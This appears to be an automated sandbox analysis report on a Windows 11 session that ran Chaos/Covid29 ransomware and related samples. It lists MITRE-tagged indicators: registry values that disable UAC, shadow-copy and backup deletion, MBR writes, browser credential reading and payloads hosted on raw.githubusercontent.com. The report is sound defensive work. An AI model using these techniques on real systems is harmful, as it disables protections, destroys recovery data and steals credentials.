chaos | hxxps://google

Analysis

max time kernel
342s
max time network
350s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
03/07/2024, 03:44

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://google

Score

10^/10

chaos bootkit defense_evasion evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 3 IoCs

resource	yara_rule
behavioral1/files/0x0005000000024f82-487.dat	family_chaos
behavioral1/memory/4944-495-0x00000000004D0000-0x00000000004F0000-memory.dmp	family_chaos
behavioral1/memory/2192-585-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos

UAC bypass 3 TTPs 4 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
280	bcdedit.exe
304	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2900	wbadmin.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe

Executes dropped EXE 11 IoCs

pid	Process
3380	mbr.exe
4944	Cov29Cry.exe
3492	svchost.exe
5456	Cov29LockScreen.exe
1548	ScaryInstaller.exe
5736	CreepScreen.exe
2492	melter.exe
4172	ScaryInstaller.exe
1704	CreepScreen.exe
5468	melter.exe
2472	MS 0735.6+7421.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2192-453-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/2192-585-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/files/0x0006000000000687-756.dat	upx
behavioral1/memory/1548-813-0x0000000000400000-0x0000000001DFD000-memory.dmp	upx
behavioral1/memory/1548-859-0x0000000000400000-0x0000000001DFD000-memory.dmp	upx
behavioral1/memory/1548-885-0x0000000000400000-0x0000000001DFD000-memory.dmp	upx
behavioral1/memory/4172-942-0x0000000000400000-0x0000000001DFD000-memory.dmp	upx
behavioral1/memory/4172-992-0x0000000000400000-0x0000000001DFD000-memory.dmp	upx
behavioral1/memory/4172-1025-0x0000000000400000-0x0000000001DFD000-memory.dmp	upx

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-1474490143-3221292397-4168103503-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
54	raw.githubusercontent.com
38	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe
File opened for modification	\??\PhysicalDrive0	MS 0735.6+7421.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\jqk9wqcsd.jpg"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Control Panel\Desktop\Wallpaper = "c:\\bg.bmp"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Control Panel\Desktop\Wallpaper = "c:\\bg.bmp"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Delays execution with timeout.exe 6 IoCs

evasion

pid	Process
5208	timeout.exe
3452	timeout.exe
72	timeout.exe
5708	timeout.exe
2856	timeout.exe
2444	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4620	vssadmin.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
3784	taskkill.exe
4464	taskkill.exe
5368	taskkill.exe
6116	taskkill.exe
5420	taskkill.exe
5684	taskkill.exe
5928	taskkill.exe
5948	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Internet Explorer\Toolbar\ShellBrowser\ITBar7Layout = 13000000000000000000000020000000100000000000000001000000010700005e01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	cmd.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1474490143-3221292397-4168103503-1000\{02064ED9-F740-48B0-A7D2-EF39E7187E63}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe

Modifies registry key 1 TTPs 14 IoCs

Modify Registry

T1112

pid	Process
1888	reg.exe
864	reg.exe
6120	reg.exe
5008	reg.exe
5852	reg.exe
4624	reg.exe
5384	reg.exe
968	reg.exe
5068	reg.exe
2792	reg.exe
4868	reg.exe
2960	reg.exe
3864	reg.exe
1544	reg.exe

NTFS ADS 9 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 63716.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\ScaryInstaller.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\kozalocker (1).bat:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\MS 0735.6+7421.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\Temp1_MS 0735.6+7421.zip\MS 0735.6+7421.exe:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 66307.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 791939.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 266697.crdownload:SmartScreen	msedge.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3756	PING.EXE
2252	PING.EXE

Suspicious behavior: AddClipboardFormatListener 4 IoCs

pid	Process
3492	svchost.exe
3816	vlc.exe
3916	vlc.exe
1224	explorer.exe

Suspicious behavior: EnumeratesProcesses 63 IoCs

pid	Process
3096	msedge.exe
3096	msedge.exe
3504	msedge.exe
3504	msedge.exe
2800	msedge.exe
2800	msedge.exe
1168	identity_helper.exe
1168	identity_helper.exe
4808	msedge.exe
4808	msedge.exe
3416	msedge.exe
3416	msedge.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
4944	Cov29Cry.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
3492	svchost.exe
6084	msedge.exe
6084	msedge.exe
6084	msedge.exe
6084	msedge.exe
3752	msedge.exe
3752	msedge.exe
5412	msedge.exe
5412	msedge.exe
6052	msedge.exe
6052	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
3816	vlc.exe
3916	vlc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 21 IoCs

pid	Process
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4648	shutdown.exe
Token: SeRemoteShutdownPrivilege	4648	shutdown.exe
Token: SeDebugPrivilege	4944	Cov29Cry.exe
Token: SeDebugPrivilege	3492	svchost.exe
Token: SeBackupPrivilege	2784	vssvc.exe
Token: SeRestorePrivilege	2784	vssvc.exe
Token: SeAuditPrivilege	2784	vssvc.exe
Token: SeIncreaseQuotaPrivilege	3416	WMIC.exe
Token: SeSecurityPrivilege	3416	WMIC.exe
Token: SeTakeOwnershipPrivilege	3416	WMIC.exe
Token: SeLoadDriverPrivilege	3416	WMIC.exe
Token: SeSystemProfilePrivilege	3416	WMIC.exe
Token: SeSystemtimePrivilege	3416	WMIC.exe
Token: SeProfSingleProcessPrivilege	3416	WMIC.exe
Token: SeIncBasePriorityPrivilege	3416	WMIC.exe
Token: SeCreatePagefilePrivilege	3416	WMIC.exe
Token: SeBackupPrivilege	3416	WMIC.exe
Token: SeRestorePrivilege	3416	WMIC.exe
Token: SeShutdownPrivilege	3416	WMIC.exe
Token: SeDebugPrivilege	3416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3416	WMIC.exe
Token: SeRemoteShutdownPrivilege	3416	WMIC.exe
Token: SeUndockPrivilege	3416	WMIC.exe
Token: SeManageVolumePrivilege	3416	WMIC.exe
Token: 33	3416	WMIC.exe
Token: 34	3416	WMIC.exe
Token: 35	3416	WMIC.exe
Token: 36	3416	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3416	WMIC.exe
Token: SeSecurityPrivilege	3416	WMIC.exe
Token: SeTakeOwnershipPrivilege	3416	WMIC.exe
Token: SeLoadDriverPrivilege	3416	WMIC.exe
Token: SeSystemProfilePrivilege	3416	WMIC.exe
Token: SeSystemtimePrivilege	3416	WMIC.exe
Token: SeProfSingleProcessPrivilege	3416	WMIC.exe
Token: SeIncBasePriorityPrivilege	3416	WMIC.exe
Token: SeCreatePagefilePrivilege	3416	WMIC.exe
Token: SeBackupPrivilege	3416	WMIC.exe
Token: SeRestorePrivilege	3416	WMIC.exe
Token: SeShutdownPrivilege	3416	WMIC.exe
Token: SeDebugPrivilege	3416	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3416	WMIC.exe
Token: SeRemoteShutdownPrivilege	3416	WMIC.exe
Token: SeUndockPrivilege	3416	WMIC.exe
Token: SeManageVolumePrivilege	3416	WMIC.exe
Token: 33	3416	WMIC.exe
Token: 34	3416	WMIC.exe
Token: 35	3416	WMIC.exe
Token: 36	3416	WMIC.exe
Token: SeBackupPrivilege	3756	wbengine.exe
Token: SeRestorePrivilege	3756	wbengine.exe
Token: SeSecurityPrivilege	3756	wbengine.exe
Token: SeDebugPrivilege	5420	taskkill.exe
Token: SeDebugPrivilege	5684	taskkill.exe
Token: SeDebugPrivilege	5928	taskkill.exe
Token: SeDebugPrivilege	5948	taskkill.exe
Token: 33	2972	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2972	AUDIODG.EXE
Token: 33	3816	vlc.exe
Token: SeIncBasePriorityPrivilege	3816	vlc.exe
Token: SeShutdownPrivilege	1468	shutdown.exe
Token: SeRemoteShutdownPrivilege	1468	shutdown.exe
Token: SeDebugPrivilege	3784	taskkill.exe
Token: SeDebugPrivilege	4464	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3816	vlc.exe
3816	vlc.exe
3816	vlc.exe
3816	vlc.exe
3816	vlc.exe
3816	vlc.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe
3504	msedge.exe

Suspicious use of SetWindowsHookEx 19 IoCs

pid	Process
436	PickerHost.exe
5456	Cov29LockScreen.exe
5736	CreepScreen.exe
3816	vlc.exe
3816	vlc.exe
3816	vlc.exe
3816	vlc.exe
1704	CreepScreen.exe
3916	vlc.exe
3916	vlc.exe
3916	vlc.exe
3916	vlc.exe
3916	vlc.exe
3916	vlc.exe
3916	vlc.exe
5356	PickerHost.exe
1224	explorer.exe
1224	explorer.exe
2472	MS 0735.6+7421.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3504 wrote to memory of 1656	3504	msedge.exe	76
PID 3504 wrote to memory of 1656	3504	msedge.exe	76
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3472	3504	msedge.exe	77
PID 3504 wrote to memory of 3096	3504	msedge.exe	78
PID 3504 wrote to memory of 3096	3504	msedge.exe	78
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79
PID 3504 wrote to memory of 2500	3504	msedge.exe	79

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://google
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe69113cb8,0x7ffe69113cc8,0x7ffe69113cd8
  2⤵
  PID:1656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1888 /prefetch:2
  2⤵
  PID:3472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1864,14974980961441981801,4720813654281291309,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3096
